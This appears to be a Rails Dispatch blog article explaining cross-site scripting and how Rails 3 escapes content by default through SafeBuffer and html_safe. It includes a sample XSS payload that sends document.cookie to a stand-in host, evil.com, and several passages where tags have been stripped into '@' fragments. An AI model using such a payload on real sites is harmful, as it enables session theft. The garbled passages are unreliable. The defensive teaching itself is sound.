Rails Dispatch

Rails news delivered fresh

Presented by Engine Yard

Rails has always had powerful security defaults. Early on, Rails conventions protected applications from the scourge of SQL injection attacks. Rails 2 added protection against Cross Site Request Forgery (CSRF). Rails 3 closes the last common web attack, Cross Site Scripting attacks (XSS).

If you just want to learn how to use these new features, you can skip the explanation and jump right to What You Need to Know below.

About XSS Attacks

An XSS attack occurs when a user is able to inject unescaped JavaScript content into a website that another user will see. Because scripts have full access to the user’s information, unescaped scripts injected into a page can upload the user’s credentials to a third-party server, giving the third party the ability to masquerade as the attacked user.

These scripts can also masquerade as the attacked user directly, performing privileged operations as the user without his knowledge. Because of the severity of XSS attacks, they are often referred to as the “root” attack of the web.

To simply visualize the vector of an XSS attack, imagine if Twitter did not escape the contents of their Tweets (they do, of course). A user could simply create a tweet that looked like this:

<script>
d = document;
s = d.createElement("script")
s.src = "evil.com/payload?" + d.cookie;
d.body.appendChild(script)
</script>

The entire attack vector neatly fits into a tweet, and could easily get even smaller if space was as a bigger premium. If the user viewing this content is an admin user, the attacker just got the ability to masquerade as that admin user. This means that even content that will only appear in admin sections of your website generated by arbitrary users can present XSS attack vectors.

The First Solution

In order to protect against these kinds of attacks, developers must escape all third-party content before displaying it in a browser. Rails 2.3 and earlier provided a nifty escaping helper that you could use to escape content by explicitly marking it for escaping.

To protect against the attack above, Twitter could do something like the following. Note that this code is entirely fictional.

<div class="tweet">
<%=h @tweet.body %>
</div>

By using the h helper, this code is telling Rails that the content is unsafe, and that Rails should escape it before letting it appear in the browser. If the user attempted the above attack vector, other users would see a harmless

&lt;script&gt;
d = document;
s = d.createElement(&quot;script&quot;)
s.src = &quot;evil.com/payload?&quot; + d.cookie;
d.body.appendChild(script)
&lt;/script&gt;

It would look ugly, but the attack would be thwarted. Unfortunately, this method of blacklisting specific page elements, while popular in many web frameworks for its simplicity, is extremely error prone. Both MySpace (which uses .Net) and Twitter (which uses Rails) have been the subject of embarrassing XSS attacks on their infrastructure over the past several years.

After seeing that even high-profile sites didn’t manage to fully secure their sites from attacks using the whack-a-mole approach, the Rails team decided to take the opposite approach: instead of assuming that all content is safe, assume that all content is unsafe and will be escaped unless explicitly marked safe.

Complications

Rails is certainly not the first team to have come up with this solution. Unfortunately, there are a large number of perfectly safe Strings created inside the Rails framework itself. Forcing developers to deal with them would have both proven both impractical and resulted in confusing new security holes.

For instance, consider the following Rails code:

<%= form_for @person do |f| %>
  <% content_tag(:h1) do %><%= @person.title %><% end %>
  <%= f.label :name, "Name" %>
  <%= f.text_field :name %>
  <%= f.label :profile, "Profile" %>
  <%= f.text_area :profile %>
  <%= f.submit %>
<% end %>

In this case @person.name, @person.profile, and @person.title all represent Strings that should be escaped by default. However, the @ tag, the @, and the part of the @ tag that is not the @value attribute should not be escaped.

If the user data was Yehuda Katz (name), @ (profile), and @ we’d expect to see:

<form action="/posts" method="post">
  <h1>&lt;script&gt;more evil content here&lt;/script&gt;</h1>
  <label for="person_name">Name</label>
  <input type="text" name="person[name]" id="person_name" value="Yehuda Katz" />
  <label for="person_profile">Profile</label>
  <textarea name="person[profile]" id="person_profile">
    &lt;script&gt;some evil content here&lt;/script&gt;
  </textarea>
  <input type="submit">Create</input>
</form>

In Rails 2.3, form helpers like text_field and text_area forcibly escaped the content, and you would do &lt;%=h @person.title %> to manually escape the evil title. This essentially amounted to a partially blacklisting strategy in the most problematic areas, but not in all areas.

Rails 3: Secure by Default

Rails 3 will automatically escape any content that does not originate from inside of Rails itself. Rails achieves this by using a subclass of String, SafeBuffer, for its own internal String literals. SafeBuffer will escape any regular String concatenated onto the SafeBuffer, but not escape other SafeBuffers.

For simplicity, you can get back a SafeBuffer from a String by calling html_safe on it.

>> string = "".html_safe
""
>> string << "<script>evil</script>"
"&lt;script&gt;evil&lt;/script&gt;"
>> string << "<h1>text</h1>".html_safe
"&lt;script&gt;evil&lt;/script&gt;<h1>text</h1>"

Internally, Rails calls html_safe on Strings like the form, input, and text_area tags. The basic approach looks like this:

form = %{<form action="#{action}" method="#{method}">}.html_safe
form << %{<input type="text" name="person[name]" value="}.html_safe
form << @person.name << %{" />}.html_safe
form << %{</form>}.html_safe

Of course, the real internal code is not as simple as this, but the idea is simple. Rails shoulders the burden of marking Strings it creates as safe, and any other String will, by default, be escaped. If you wanted to whitelist @person.title, you would just mark it as safe: &lt;%= @person.title.html_safe %>.

What You Need to Know

In general, you can build your Rails app exactly as before. Rails will automatically escape any Strings that it doesn’t create. In almost all cases, this is the right behavior, with no further modifications required.

If Rails is escaping a String that you want to pass through without escaping, simply mark it safe.

<h1><%= @person.title.html_safe %></h1>
<h2><%=raw @person.title %></h2>

If you create a String in a helper, you may want to mark parts of it as safe.

def box(&block)
  "<div class='box'>".html_safe << capture(&block) << "</div>".html_safe
end

You can use this in an ERB template.

<%= box do %>
  <%= content_tag(:div) do %>
    <%= @person.profile %>
  <% end %>
<% end %>

In this case, the <div class="box"> will come through unescaped, as will the <div> from the content_tag. On the other hand, Rails will escape the @person.profile. In short, the escaping behavior guarantees that foreign content will be escaped, while requiring changes to your application only if you’re building your own HTML in helpers (a rather unusual occurrence).

Note that you could have avoided the need for manually escaping the HTML above by using Rails helpers to create the <div>.

def box(&block)
  content_tag(:div, :class => "box") do
    capture(&block)
  end
end